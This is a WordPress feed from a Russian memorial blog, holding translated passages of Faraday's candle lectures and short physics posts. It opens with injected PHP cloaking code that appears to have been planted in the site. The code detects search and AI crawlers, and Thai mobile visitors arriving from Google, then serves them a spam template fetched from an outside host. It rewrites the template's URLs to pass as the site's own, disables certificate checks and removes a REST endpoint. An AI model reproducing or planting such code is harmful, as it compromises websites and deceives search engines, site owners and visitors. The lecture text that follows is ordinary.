$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Игры разума — Вечный путь к совершенству https://www.vladimirkoskov.ru О Володе, о том, что он любил, чем жил и в чем видел смысл жизни Thu, 17 Nov 2022 15:50:12 +0000 ru-RU hourly 1 https://wordpress.org/?v=6.9.4 https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-32x32.png Игры разума — Вечный путь к совершенству https://www.vladimirkoskov.ru 32 32 Майкл Фарадей. Лекция II. Свеча. Яркость пламени. Для горения необходим воздух. Образование воды. Часть 2. https://www.vladimirkoskov.ru/?p=4640 Tue, 22 Nov 2022 21:34:23 +0000 https://www.vladimirkoskov.ru/?p=4640 Здесь начало лекции: Майкл Фарадей. Лекция II. Свеча. Яркость пламени. Для горения необходим воздух. Образование воды. Часть 1.

Возьму теперь свечу и буду исследовать ту часть ее пламени, которая на глаз кажется самой яркой. Оказывается, там-то я и нахожу черные частицы, возникновение которых из пламени вы уже несколько раз наблюдали; сейчас я добуду их иначе. Вот я очищаю свечу от наплывов воска, получившихся из-за ветра. Теперь я беру стеклянную трубочку, которой мы уже пользовались в одном из предыдущих опытов, н вставляю ее в пламя, но на этот раз повыше, так, чтобы ее кончик был едва погружен в яркую часть пламени. Вы видите, каков результат: вместо белых паров, которые получались раньше, теперь из трубочки выходит копоть, черная как чернила. Безусловно, это нечто совершенно иное, чем те белые пары; поднесем к концу трубочки горящую лучинку, и мы увидим, что выходящие пары и сами не горят и лучинку гасят. Так вот, эти частицы, как я уже и раньше вам говорил, — это всего-навсего копоть свечи. Недаром Свифт советовал лентяям развлекаться, расписывая на потолке узоры с помощью свечи. Так что же это за черное вещество? Это тот же самый углерод, который имеется в свече. Как же он возникает из свечи? Очевидно, он был в свече, — ведь откуда бы ему взяться иначе?

Теперь слушайте внимательно и следите за ходом моего объяснения. Вам вряд ли приходило в голову, что вещество, летающее в лондонском воздухе в виде частиц копоти и сажи, — это как раз то, что придает самую красоту и жизнь пламени, в котором оно сгорает точно так же, как у нас сгорали железные опилки. Вот тонкая проволочная сетка, не пропускающая пламени. Я думаю, вам почти сразу будет видно, что когда я ее опущу на пламя таким образом, чтобы она касалась той его части, которая обычно бывает самой яркой, сетка придавит пламя, и пламя начнет коптить.

Теперь мне нужно, чтобы вы поняли следующий пункт моего рассуждения. Всякий раз, когда какое-нибудь вещество горит так, как горели железные опилки в пламени пороха, т. е. не переходя в парообразное состояние, а либо становясь жидким, либо оставаясь твердым телом, оно чрезвычайно ярко светится. Чтобы наглядно доказать вам это, я отвлекусь от свечи и приведу несколько других примеров. Ведь то, что я вам должен рассказать, применимо ко всем веществам, горючим и не горючим, — они интенсивно светятся, если остаются в твердом состоянии; именно присутствием твердых частиц в пламени свечи и объясняется ее яркий свет.

Вот платиновая проволочка — тело, которое от нагревания не изменяется. Я ее раскалю на этом пламени — смотрите, до чего она ярко светится. Я сделаю пламя малосветящимся, и хотя платиновая проволочка получит от него мало тепла, вы все же увидите, что этого нагрева будет достаточно, чтобы довести накал проволочки до гораздо большей яркости, чем яркость самого пламени. В этом пламени содержится углерод; а теперь я возьму такое пламя, в котором углерода нет.

Вот в этом сосуде находится некое горючее вещество — пока назовите его парами или газом, как хотите, — в котором нет твердых частиц; поэтому я и беру его как пример пламени, горящего без всякого твердого вещества. Когда я введу в это пламя твердое тело, вы увидите, до чего пламя жаркое и как ослепительно оно заставляет светиться это твердое тело. Вот трубка, через которую подается особый газ, называемый водородом; о нем вы все узнаете на следующей лекции. А вот здесь — вещество, называемое кислородом, при помощи которого водород может гореть; в результате их смешения мы получаем несравненно более высокую температуру, чем от пламени свечи. Если же, поместить в это пламя какое-нибудь твердое вещество, получается свет.

Возьмем кусок извести — вещества, которое не горит и не испаряется при высокой температуре (а не испаряясь, остается твердым и раскаленным). Сейчас вы сможете наблюдать, как известь будет светиться. Сжигая водород в кислороде, получаем очень высокую температуру; пока еще света очень мало — не из-за того, что мало тепла, а из-за отсутствия твердых частиц — но вот я держу этот кусочек извести в кислородно-водородном пламени — смотрите, как он ослепительно светится! Это и есть прославленный «друммондов свет», соперничающий со светом вольтовой дуги и почти равный солнечному свету.

А вот здесь у меня кусочек углерода, или древесного угля, который будет гореть и давать нам свет точно так же, как если бы этот углерод сгорал в качестве составной части свечи. Высокая температура пламени свечи разлагает пары воска и высвобождает частицы углерода; они поднимаются вверх, раскаленные и светящиеся, как светится сейчас вот этот кусочек, а затем уходят в воздух. Но эти частицы, сгорев, никогда не уходят из пламени в форме углерода — нет, они переходят в воздух в виде совершенно невидимого вещества, о котором мы поговорим в дальнейшем.

Подумайте, как прекрасен этот процесс, при котором такое невзрачное вещество, как уголь, делается таким сияющим! Вы видите, что дело здесь сводится к следующему: всякое яркое пламя содержит эти твердые частицы; и все то, что горит и дает твердые частицы — будь то во время горения, как это происходит в пламени свечи, будь то непосредственно после горения, как в примере с порохом и железными опилками, — все это дает нам прекрасный свет.

Сейчас я вам это проиллюстрирую. Во-первых, вот кусочек фосфора, которому свойственно гореть ярким пламенем. Из этого мы теперь можем сделать вывод, что фосфор обязательно дает такие твердые частицы либо в момент самого горения, либо после него. Вот фосфор зажжен, и я накрываю его стеклянным колпаком, чтобы не дать улетучиться тому, что получится в результате горения. Что это за клубы дыма? Этот дым состоит как раз из тех частиц, которые получаются от горения фосфора.

Далее, вот два вещества — бертолетова соль и сернистая сурьма. Я их слегка перемешаю, и тогда их можно будет сжечь различными способами. Чтобы показать вам образчик того, что такое химическая реакция, я капну на них серной кислоты, и они мгновенно вспыхнут. (Лектор поджигает смесь серной кислотой.) Теперь по внешнему виду этого явления вы можете сами судить, получается ли при горении твердое вещество. Я вам указал и ход рассуждения, который приведет вас к ответу на этот вопрос, положительному или отрицательному: ведь что же представляет собой это яркое пламя, как не выделяющиеся твердые раскаленные частицы?

Вот тут у мистера Андерсона накаленный в печи тигелек. Я сейчас брошу в него цинковых опилок, и они будут гореть таким пламенем, как у нас горел порох. Этот опыт вы можете сделать дома. А теперь мне нужно, чтобы вы посмотрели, каков будет результат сгорания цинка. Вот он горит. И прекрасно горит — можно сказать, как свеча. Но что это за клубы дыма? И что это за облачка, похожие на клочки шерсти, разлетающиеся по всей аудитории и дающие вам знать о себе, не дожидаясь, чтобы вы подошли ко мне их рассмотреть? В старину их называли «философской шерстью». Некоторое количество этого пушистого вещества у нас останется и в тигле.

Для следующего опыта я возьму тот же цинк, но не в опилках, а кусочком, чтобы продукты горения не разлетались по всему залу. Вы увидите, что, по существу, будет происходить то же самое. Вот кусочек цинка, вот горелка (лектор указывает на водородное пламя), и теперь мы примемся за дело- постараемся сжечь этот металл. Вы видите, что он светится — стало быть, происходит горение; а вот и белое вещество, в которое, сгорая, превращается цинк. Итак, если я буду считать это водородное пламя подобием пламени свечи и покажу вам какое-нибудь вещество, вроде цинка, горящим в водородном пламени, вы убедитесь, что это вещество светится только во время горения, т. е. пока оно накалено. Вот я беру белое вещество, получившееся от сгорания цинка, и помещаю его в водородное пламя. Смотрите, как оно чудно светится — и именно потому, что это твердое вещество.

Вернусь теперь к тому пламени, какое мы рассматривали раньше, и выделю из него частицы углерода. Возьмем камфару, которой свойственно гореть коптящим пламенем. Но если я через эту трубочку проведу частицы копоти в водородное пламя, вы увидите, что они будут сгорать и испускать свет, так как мы их нагреем вторично. Вот, смотрите. Здесь частицы углерода, зажженные вторично. Это те самые частицы сажи, которые хорошо были видны на фоне белой бумаги. Теперь же, оказавшись в жарком пламени водорода, они воспламеняются и поэтому дают такой яркий свет. Если же частицы не выделяются, пламя у нас получается несветящимся. Пламя светильного газа дает такой яркий свет именно благодаря тому, что во время горения из этого газа образуются частицы углерода, которые присутствуют в его пламени, точно так же, как и в пламени свечи.

Яркость пламени можно очень быстро изменить. Вот, например, яркое газовое пламя. Если я буду подводить столько воздуха к пламени, чтобы газ полностью сгорал, прежде чем успеют выделиться эти частицы, у меня такой яркости не получится.

Устроить это можно вот как. На горелку я надеваю колпачок из тонкой проволочной сетки, а затем зажигаю газ над колпачком; видите, газ горит несветящимся пламенем, так как перед сгоранием с газом смешивается достаточное количество воздуха. Если же я подниму сетчатый колпачок, то под ним. как вы видите, газ не горит. Углерода в этом газе вполне достаточно; однако вы видите, каким бледным, голубоватым пламенем горит он там, где к нему обеспечен доступ воздуха, и они могут смешаться перед сгоранием. Такой голубоватый оттенок получается и в том случае, если я буду дуть на яркое газовое пламя так, чтобы сжигать весь этот углерод до того, как он успеет раскалиться. (Лектор иллюстрирует свои слова на опыте, дуя на газовую горелку.) Единственная причина, почему от такого дутья пламя теряет яркость, заключается в том, что углерод смешивается с достаточным количеством воздуха для его сгорания, прежде чем он в пламени выделится в свободном состоянии. Вся разница в цвете пламени происходит исключительно от того, что твердые частицы не успевают выделиться, прежде чем газ сгорает.

Итак, вы убедились на опыте, что при сгорании свечи получаются некоторые вещества и что в числе этих продуктов сгорания находится уголь, т. е. сажа. Этот уголь, сгорая, дает некий другой продукт; теперь мы займемся выяснением, что это за другой продукт горения. Мы видели, как что-то улетучивалось и исчезало. Теперь мне нужно, чтобы вы поняли, сколько вещества улетает в воздух, а для этой цели мы устроим горение в несколько большем масштабе. Вот от этой свечи поднимается нагретый воздух. Двух-трех опытов будет достаточно, чтобы показать вам восходящий ток газа. Но чтобы дать представление о количестве вещества, которое таким образом летит вверх, я сейчас проделаю еще один опыт и постараюсь уловить часть получающихся продуктов горения. Для этого у меня есть детский воздушный шар: сейчас я им воспользуюсь только как своего рода меркой для тех продуктов горения, которыми мы в данный момент занимаемся. А пламя я устрою простое — такое, чтобы оно наилучшим образом соответствовало поставленной мною цели.

Вот эта тарелка будет представлять собой, так сказать, «чашечку» свечи; горючее — спирт, налитый в тарелку; над ним я помещу эту трубу для тяги — такое устройство лучше, чем если бы я предоставил это дело случаю. Сейчас мой помощник зажжет горючее, — а здесь, у верхушки трубы, мы будем улавливать продукты горения. То, что мы получаем у верхушки трубы, это, вообще говоря, то же самое, что получается при сгорании свечи; но здесь пламя не светящееся, так как мы взяли вещество, бедное углеродом. Запускать шар я сейчас не собираюсь, моя цель не в этом, а я его сюда прилажу, чтобы показать вам результат действия веществ, поднимающихся как от свечи, так и от этого пламени в вытяжной трубе. (К верхнему отверстию трубы приставляется горловина шара, и он сразу начинает наполняться.)

Вы видите, как шар рвется кверху, но отпустить его нельзя: ведь он, пожалуй, может наткнуться на газовые лампы вон там, наверху, а это было бы очень некстати. (По просьбе слушателей гасят верхние лампы, лектор отпускает шар, и тот улетает вверх.)

Ну, вот, разве это не доказывает вам, какой значительный объем вещества получается при горении? А теперь смотрите (лектор помещает над свечой широкую стеклянную трубку): через эту трубку проходят все продукты горения этой свечи, и вы сейчас увидите, что трубка совсем помутнеет. Я беру горящую свечу, накрываю ее банкой и, чтобы вам было видно происходящее, освещаю ее с противоположной от вас стороны. Как видите, стенки банки затуманиваются и свет слабеет.

Именно продукты сгорания и заставляют свет меркнуть, и от них же и мутнеют стенки банки. Если вы, придя домой, возьмете ложку, которая лежала на холоде, и подержите ее над пламенем свечи (только так, чтобы ложка не закоптела), вы увидите, что она запотеет, как эта банка. Еще лучше удастся опыт, если вы сумеете раздобыть для него серебряное блюдо или что-нибудь вроде этого. А теперь, чтобы заранее подготовить вас к нашей следующей встрече, скажу вам, что это помутнение получается от воды. На следующей лекции я покажу вам, что ее нетрудно будет получить в жидком виде.

]]> Майкл Фарадей. Лекция II. Свеча. Яркость пламени. Для горения необходим воздух. Образование воды. Часть 1. https://www.vladimirkoskov.ru/?p=4639 Mon, 21 Nov 2022 21:33:47 +0000 https://www.vladimirkoskov.ru/?p=4639 На прошлой лекции мы рассмотрели общие свойства и расположение жидкой части свечи, а также и то, каким образом эта жидкость попадает туда, где происходит горение. Вы убедились, что, когда свеча хорошо горит в спокойном воздухе, пламя всегда имеет форму вытянутого вверх язычка, т. е. форму более или менее постоянную и притом очень интересную. А теперь я обращу ваше внимание на то, какими средствами мы можем выяснить, что происходит в той или иной части пламени, почему это происходит, какое действие оно при этом оказывает и, наконец, куда девается вся свеча — ведь вы же прекрасно знаете, что зажженная свеча (если она хорошо горит) на наших глазах, сгорая, исчезает целиком, не оставляя в подсвечнике никаких следов, а это весьма любопытное обстоятельство. Чтобы тщательно исследовать свечу, я собрал несколько приборов, с применением которых вы познакомитесь по ходу лекции. Вот свеча; кончик этой стеклянной трубки я сейчас помещу в середину пламени, т. е. в ту часть его, которая на рисунке старины Гукера изображена сравнительно темной и которую вы всегда можете увидеть, если внимательно посмотрите на пламя (и при этом не будете колыхать его своим дыханием). Эту темную часть мы исследуем прежде всего.

Вот я беру ту согнутую стеклянную трубку, ввожу один конец ее в темную часть пламени, и вы сразу видите, как нечто, находившееся в пламени, входит в трубку и выходит из нее с другого конца. Если я введу другой конец трубки на некоторое время в колбу, вы увидите, как это нечто постепенно высасывается из средней части пламени, проходя через трубку в колбу и там ведет себя совершенно иначе, чем на открытом воздухе. Оно не только выходит из конца трубки, но падает на дно колбы, как тяжелое вещество. И действительно, оказывается, что это не газ, а воск свечи, перешедший в парообразное состояние. (Запомните разницу между газом и парами: газ остается газом, а пары — это нечто такое, что конденсируется.)

Когда вы задуваете свечу, вы ощущаете противный запах, получающийся от конденсации этих паров. Они сильно отличаются от того, что находится вне пламени, и чтобы вам это стало яснее, я собираюсь получить большее количество таких паров и поджечь их: ведь чтобы до конца изучить то, что есть в нашей свече в небольшом количестве, и иметь возможность исследовать его составные части, мы, как настоящие исследователи, должны научиться добывать его и в более значительных количествах. Теперь мистер Андерсон даст мне горелку, и я покажу вам, что собой представляют эти пары.

Вот в этой склянке я нагрею воск, чтобы он стал таким же горячим, как внутренность пламени этой свечи и вещество, окружающее фитиль. (Лектор кладет в склянку немного воска и нагревает его над горелкой.) Теперь, пожалуй, колба нагрета достаточно. Вы видите, что воск, который я туда положил, стал жидким и от него идет дымок. Сейчас будут подниматься пары. Продолжаю нагревание; теперь паров получается больше, вот я даже могу перелить пары из колбы в эту чашку и там их поджечь. Стало быть, это в точности те же пары, как в середине пламени свечи. Чтобы вы могли убедиться, что это действительно так, давайте выясним, не собраны ли у нас вот в этой колбе настоящие горючие пары из середины пламени свечи. (Лектор берет колбу, в которую была проведена трубка от свечи, и вводит в нее зажженную лучинку.) Видите, как эти пары горят. Итак, это у нас пары из середины пламени свечи, возникшие благодаря его собственному жару. Это один из первых фактов, которые вы должны продумать в связи с продвижением воска в процессе его горения и с теми переменами, которым он подвергается.

Сейчас я осторожно помещу в пламя кончик другой трубки. Действуя очень осторожно, нам удастся добиться того, чтобы эти пары проходили сквозь трубку к ее другому концу, где мы их зажжем и получим настоящее пламя свечи на некотором расстоянии от нее самой. Ну, вот, поглядите. Разве это не изящный опыт? Вы слышали о газопроводах, а тут мы устроили настоящий «свечепровод». На этом опыте вы видите, что есть два четко различимых процесса: один — это возникновение паров, а другой — это их сгорание, и каждый из этих процессов происходит в разных частях свечи.

Из того участка, где сгорание уже осуществилось, мне не удается получить пары. Я передвину кончик трубки (см. рис. 7) в верхнюю часть пламени, и как только из трубки уйдут находившиеся в ней пары, она будет выводить из пламени нечто такое, что уже не будет горючим: оно уже сгорело. Каким образом сгорело?

А вот как. В середине пламени вокруг фитиля имеются горючие пары; пламя окружено воздухом, который, как мы увидим, необходим для горения свечи, и между ними происходит интенсивное химическое взаимодействие, при котором воздух и горючее воздействуют друг на друга, и в то самое время, как получается свет, разрушаются пары, находившиеся внутри пламени.

Если вы станете выяснять, где находится самое горячее место в пламени, вы узнаете, что оно расположено очень любопытно. Вот я ввожу лист бумаги прямо в пламя — где самое горячее место? Вам видно, что не внутри. Оно расположено кольцом, как раз там, где, как я вам сказал, происходит химическая реакция; даже если ставить опыт так грубо, всегда получается кольцо (если только пламя не слишком будет колебаться от движения воздуха). Этот опыт каждый может легко повторить у себя дома. Возьмите полоску бумаги, выберите комнату, где нет сквозняка и поместите полоску прямо в середину пламени. Вы увидите, что бумага прогорит в двух местах, а в середине только слегка будет тронута огнем. Когда вы раз-другой удачно проделаете этот опыт, вы легко определите, где наиболее горячая часть пламени; вы сами убедитесь в том, что она там, где встречаются воздух и топливо.

Это в высшей степени важно для того, чтобы вы могли разобраться в дальнейшем. Воздух совершенно необходим для горения; мало того: вы должны понять, что необходим свежий воздух, иначе наши рассуждения и наши опыты не дадут правильного результата. Вот банка, в ней воздух; я опрокидываю банку и накрываю ею свечу; сперва свеча под банкой горит вполне благополучно и тем самым доказывает справедливость того, что я только что сказал. Однако скоро наступит перемена. Вот смотрите, как пламя вытягивается вверх, затем меркнет и наконец гаснет. А почему же оно гаснет? Не потому, что ему нужен просто воздух — ведь банка и сейчас так же полна воздуха, как вначале, а потому, что пламя нуждается в чистом, свежем воздухе. Банка полна воздуха, частично измененного, частично не измененного; но в ней недостаточно того свежего воздуха, который необходим для горения свечи. Все эти факты, которые вам, юным химикам, надо собирать и сопоставлять. Обдумав их, мы сможем сделать дальнейшие шаги, которые приведут нас к интересным результатам.

Вот, например, масляная лампа, которую я вам уже показывал. Это старинная лампа Аргана, очень удобная для наших опытов. Сейчас я увеличу ее сходство со свечой. (Лектор закрывает отверстие в середине фитиля, через которое воздух проникает внутрь пламени.) Вот фитиль; вот масло, которое по нему поднимается; а вот и пламя конусообразной формы. Оно плохо горит, потому что доступ воздуха уменьшен. Я ограничил доступ воздуха к пламени только его внешней стороной, и вот пламя заметно уменьшилось. Снаружи я не могу увеличить доступ воздуха, потому что фитиль и так большой; но если (как это хитроумно устроил Арган) я открою для воздуха проход в середину пламени, вы увидите, насколько лучше и светлее станет гореть лампа. Если же прекратить доступ воздуха, смотрите, как лампа коптит, — а почему?

Теперь у нас накопилось несколько очень интересных фактов, в которых надо разобраться: во-первых, горение свечи; во-вторых, ее угасание от недостатка воздуха; в-третьих, теперь к этому прибавилось неполное сгорание, а оно для нас настолько интересно, что я хочу, чтобы вы в нем разобрались так же досконально, как и в том случае, когда свеча горит наилучшим образом. Теперь я устрою большое пламя, так как нам нужны иллюстрации как можно более крупные. Вот фитиль большого размера. (Лектор зажигает комок ваты, пропитанный скипидаром.) В конечном счете все это — та же свеча. Если у нас фитили крупнее, то и снабжение воздухом должно быть больше, иначе сгорание будет менее совершенным. Вот смотрите, как от этого пламени в воздух летят хлопья горючего вещества. Чтобы эта не полностью сгоревшая часть не причиняла вам неудобства, я устроил вытяжную трубу, куда она и уносится. Посмотрите на сажу, летящую от пламени. До чего здесь неполное сгорание — ведь у нас пламя не получает достаточного воздуха. Так что же тут происходит? Дело в том, что отсутствует нечто, необходимое для горения свечи, и это приводит к очень плохим результатам. А что происходит со свечой, когда она горит в чистом воздухе, мы уже видели. Когда я вам показывал одну сторону бумажки, обожженную кольцом пламени, я мог бы, перевернув этот листок, показать вам, что от горения свечи получается такая же сажа — то есть уголь, или, иначе говоря, углерод.

Но прежде чем это показать, давайте я объясню вам кое-что совершенно необходимое для понимания всего вопроса. Хотя в качестве основного предмета лекций я взял свечу и для иллюстрации общего понятия «горение» показываю вам ее горение в форме пламени, мы все-таки должны выяснить, всегда ли горение происходит именно в этой форме и бывают ли и другие виды пламени. Мы скоро убедимся, что они действительно бывают и что они для нас в высшей степени важны.

Пожалуй, лучший способ убедить молодежь — это продемонстрировать разительный контраст. Вы знаете, что порох сгорает с пламенем; мы вполне можем называть это пламенем. Порох содержит углерод и другие вещества, которые в совокупности заставляют его сгорать с пламенем. А вот немного железных опилок. Я хочу сжечь эти два вещества вместе. У меня тут есть деревянная ступка, в которой я их смешаю. (Прежде чем перейти к этим опытам, разрешите мне высказать надежду, что никто из вас не наделает беды, пытаясь их повторить для забавы. Ведь все это можно хорошо проделать, только если соблюдать осторожность, а небрежность может очень плохо кончиться.) Так вот, стало быть, тут у меня немножко пороху, который я кладу на дно этой маленькой деревянной ступки и смешиваю с ним железные опилки. Цель моя состоит в том, чтобы от пороха опилки загорелись и на воздухе, а тем самым была бы наглядно показана разница между веществами, сгорающими с пламенем и без пламени. Вот полученная смесь; теперь, когда я ее подожгу, вы должны будете следить за процессом горения, и вы увидите, что горение будет двоякое. Вы увидите, как порох будет гореть с пламенем, а железные опилки будут взлетать в воздух. Вы увидите, что и они тоже будут гореть, но не давая пламени. Каждая частичка железа будет гореть отдельно. (Лектор поджигает смесь.) Смотрите: порох горит с пламенем, а вот железные опилки — они горят совсем иначе. Итак, вы воочию убедились в существовании двух различных типов горения, и именно на них основаны все практические применения и вся красота пламени, используемого нами в качестве источника света. Повторяю, будем ли мы для освещения пользоваться маслом, газом или свечами — пригодность всех их зависит от тех различий в процессе горения, которые вы только что наблюдали.

Бывают такие своеобразные виды пламени, что без некоторого хитроумия и умения подмечать тонкие различия невозможно определить, какой тут наблюдается тип горения. Возьмем, например, вот этот порошок. Он очень горючий; он состоит из массы отдельных зернышек. Порошок этот называется ликоподий.

Каждая из его пылинок может дать пары и вспыхнуть отдельным огоньком. Сейчас я зажгу немножко ликоподия, и вы увидите, что произойдет… Мы увидели целое облако пламени, как будто единое, нераздельное; однако это потрескивание (лектор обращает внимание на звук, возникающий при горении) доказывает, что сгорание было не непрерывным и не равномерным. Это и есть искусственная молния, которую вы видели в пантомимах, и надо сказать, что она очень хорошо имитирует настоящую. (Лектор дважды проделывает этот опыт, продувая ликоподий из стеклянной трубки сквозь пламя спиртовки.) Это пример горения, отличающийся от горения опилок, к которым мы еще вернемся.

Продолжение: Здесь начало лекции: Майкл Фарадей. Лекция II. Свеча. Яркость пламени. Для горения необходим воздух. Образование воды. Часть 2.

Майкл Фарадей — король физиков, властитель молний, искатель невидимых превращений и скромный человек, читавший лекции для детей.

]]> Как знание и правильное применение законов физики помогает одержать победу в соревнованиях https://www.vladimirkoskov.ru/?p=4509 Fri, 04 Nov 2022 21:52:38 +0000 https://www.vladimirkoskov.ru/?p=4509 Пилот Кристофер Белл, выступающий за команду «Джо Гиббс Рейсинг», выиграл гонку Xfinity 500 — предпоследний этап NASCAR Cup Series сезона 2022 года, который прошёл 30 октября на шорт-треке в Мартинсвилле, США, штат Вирджиния.

Однако, главным героем гонки, приковавшим к себе внимание всех зрителей и любителей этого вида спорта,  стал гонщик Росс Честейн из команды «Трекхаус». На последних кругах он вёл борьбу за место в финале с Денни Хэмлином и уступал ему два очка. В последнем повороте Честейн намеренно врезался в отбойник и за счёт инерции вдоль стены по внешней траектории обогнал сразу нескольких соперников. Благодаря этому манёвра Честейн прорвался на четвёртую позицию, опередил Хэмлина и отобрал у него путёвку в финал.

 

]]> Фокусы силы поверхностного натяжения https://www.vladimirkoskov.ru/?p=3281 Sun, 30 Oct 2022 21:45:15 +0000 https://www.vladimirkoskov.ru/?p=3281 Сила поверхностного натяжения собирает шарики Галлия в один.

Занимательная химия и физика в гифках

]]> Майкл Фарадей. Лекция I. Свеча и ее приготовление, пламя свечи и его происхождение, форма, блеск и подвижность. Часть 2. https://www.vladimirkoskov.ru/?p=4424 Wed, 26 Oct 2022 21:06:44 +0000 https://www.vladimirkoskov.ru/?p=4424 Здесь начало лекции: Майкл Фарадей. Лекция I. Свеча и ее приготовление, пламя свечи и его происхождение, форма, блеск и подвижность. Часть 1.

Теперь нам все-таки нужно узнать, каким же образом расплавленное вещество свечи выходит из чашки и поднимается к тому месту фитиля, где происходит горение. Вы видите, что пламя опускается по фитилю, оно останавливается на одном месте, на некотором расстоянии от расплавленного горючего вещества, и не захватывает краев чашки. Т.е. пламя как бы изолировано от находящегося под ним жидкого горючего и не разрушает краев чашечки. Трудно придумать более совершенное взаимодействие частей горящей свечи, которые как будто помогают друг другу. Свеча вся состоят из горючего вещества, но она никогда не загорается вся сразу – ведь это удивительно, если принять во внимание могущество пламени и быстроту, с которой, при других условиях, оно уничтожило бы это горючее вещество!

Чтобы понять это удивительное явление, разберемся в нем поподробнее. Но как же все-таки горючее попадает в пламя? Вопрос этот приводит нас к одному из замечательных физических явлений — к капиллярному, или волосному, притяжению. «Волосное притяжение? — скажете вы. — Это еще что такое? Притяжение волос?» Ну, не важно, не обращайте внимания на этот термин; его придумали в старое время, пока мы еще не знали, что это за сила на самом деле. Так вот, именно благодаря капиллярности вещество, поддерживающее пламя, поднимается по фитилю к тому месту, где происходит горение, — и притом не как-нибудь, а идеально в самую середину, к центру пламени.

Чтобы вы лучше поняли явление капиллярности, я приведу несколько примеров, и вы удивитесь. Как два вещества, неспособные растворяться друг в друге, притягиваются одно к другому.  Когда вы моете руки, вы поливаете их водой, и руки делаются мокрыми. Это происходит вследствие того самого капиллярного притяжения, о котором я говорю. Мало того: если руки очень чистые (а это редко бывает, т.к. они легко загрязняются), то стоит опустить палец в воду, и вода поднимается по пальцу выше уровня воды в сосуде, хотя, может быть, вы и не обратите на это внимания.

Возьмем другой пример. На тарелке лежит пористое вещество — столбик поваренной соли. Нальем в тарелку… только не воду, как вы, может быть, подумали, а насыщенный раствор соли, до такой степени насыщенный, что он не способен больше поглощать её; поэтому явление, которое сейчас произойдёт нельзя объяснить растворением соли. Чтобы заметнее было движение, я подкрасил раствор в синий цвет. Я лью ее на тарелку. Видите, мало-помалу жидкость поднимается по соляному столбику все выше и выше; если столбик не обвалился, то она может подняться до самой вершины.

Солевой столбик.

Представим себе, что тарелка – это свечка, столбик соли – фитиль, а соляной раствор – растопленный воск. Если бы эта синяя жидкость могла гореть и если бы мы положили на вершину столбика настоящий фитиль, то можно было бы зажечь эту жидкость. Это явление весьма любопытно.

Точно также, как полотенце, которым мы вытираем руки, впитывает в себя влагу с нашей кожи, так фитиль свечи впитывает в себя расплавленный воск, стеарин и потому подобные вещества, которые при этом понимаются вверх и достигают пламени. Иногда неряшливые дети (да, впрочем, это случается и с людьми вообще аккуратными), вымыв руки в тазу, вытрут их, да и бросят полотенце так, что оно окажется висящим через край таза; понемногу вся вода из таза очутится на полу и образует лужу, так как полотенце будет играть роль сифона.

Полотенце в тазу.

